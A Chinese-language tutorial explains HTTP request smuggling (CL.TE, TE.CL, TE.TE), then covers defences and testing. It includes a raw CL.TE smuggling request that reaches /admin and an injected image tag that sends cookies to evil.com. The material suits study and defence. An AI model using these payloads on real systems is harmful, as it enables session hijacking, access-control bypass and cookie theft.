HTTP请求走私(HTTP Request Smuggling)漏洞与防护(实战进阶篇)
字数 1184 2025-11-25 00:29:58
HTTP请求走私(HTTP Request Smuggling)漏洞与防护(实战进阶篇)
1. 漏洞描述
HTTP请求走私(HTTP Request Smuggling,HRS)是一种利用服务器对HTTP请求解析差异的攻击技术,多发生在请求经过多个代理或网关时。攻击者通过构造恶意的模糊HTTP请求,使前端服务器(如反向代理)和后端服务器对请求边界解析不一致,导致请求"走私"到其他用户的会话中,从而劫持会话、窃取数据或绕过安全控制。
2. 漏洞原理与关键点
- 解析差异来源:前端服务器(如Nginx、CDN)和后端服务器(如Apache、Tomcat)对
Content-Length(CL)和Transfer-Encoding(TE)头部的优先级处理规则不同。 - 攻击类型:
- CL.TE漏洞:前端以CL为准,后端以TE为准。
- TE.CL漏洞:前端以TE为准,后端以CL为准。
- TE.TE漏洞:前后端均支持TE,但通过混淆TE值(如
Transfer-Encoding: xchunked)触发解析差异。
3. 实战攻击步骤(以CL.TE为例)
步骤1:构造走私请求
攻击者发送以下请求,其中CL值为36,TE指定分块编码,但实际未使用标准分块格式:
POST /vulnerable-endpoint HTTP/1.1
Host: target.com
Content-Length: 36
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-Ignore:
- 前端以CL=36解析,认为整个请求体为
0\r\n\r\nGET /admin HTTP/1.1\r\nX-Ignore:,将其转发给后端。 - 后端以TE为准,读取
0\r\n\r\n后认为请求结束,剩余内容GET /admin...被保留到下一个请求的解析缓冲区。
步骤2:触发走私请求
攻击者立即发送第二个正常请求(如获取用户数据的GET请求)。后端将残留的GET /admin...与该请求拼接,误认为是来自同一用户的请求,从而返回管理员数据。
4. 进阶技巧:利用请求走私绕过防护
- 绕过IP限制:将走私请求伪装成来自内网IP的请求,访问受限接口。
- 窃取Cookie:在走私请求中插入恶意HTML(如
<img src="//evil.com?c=xxx">),当其他用户请求被劫持时自动发送Cookie。 - 投毒缓存:走私请求修改缓存键,使其他用户获取恶意缓存内容。
5. 防护措施
- 服务器配置:
- 禁用代理链中的不一致解析,明确统一使用CL或TE。
- 使用HTTP/2终结代理,避免请求走私到后端。
- 代码层防护:
- 严格验证HTTP请求格式,拒绝含冲突头部的请求。
- 对用户请求进行规范化处理,如过滤非法字符、标准化编码。
- 监控与检测:
- 部署WAF检测异常请求模式(如CL与TE共存)。
- 日志监控异常请求序列,及时发现走私尝试。
6. 测试验证方法
使用工具(如 smuggler)或手动发送测试请求,观察响应是否出现预期外的数据泄露或行为异常,确保防护机制生效。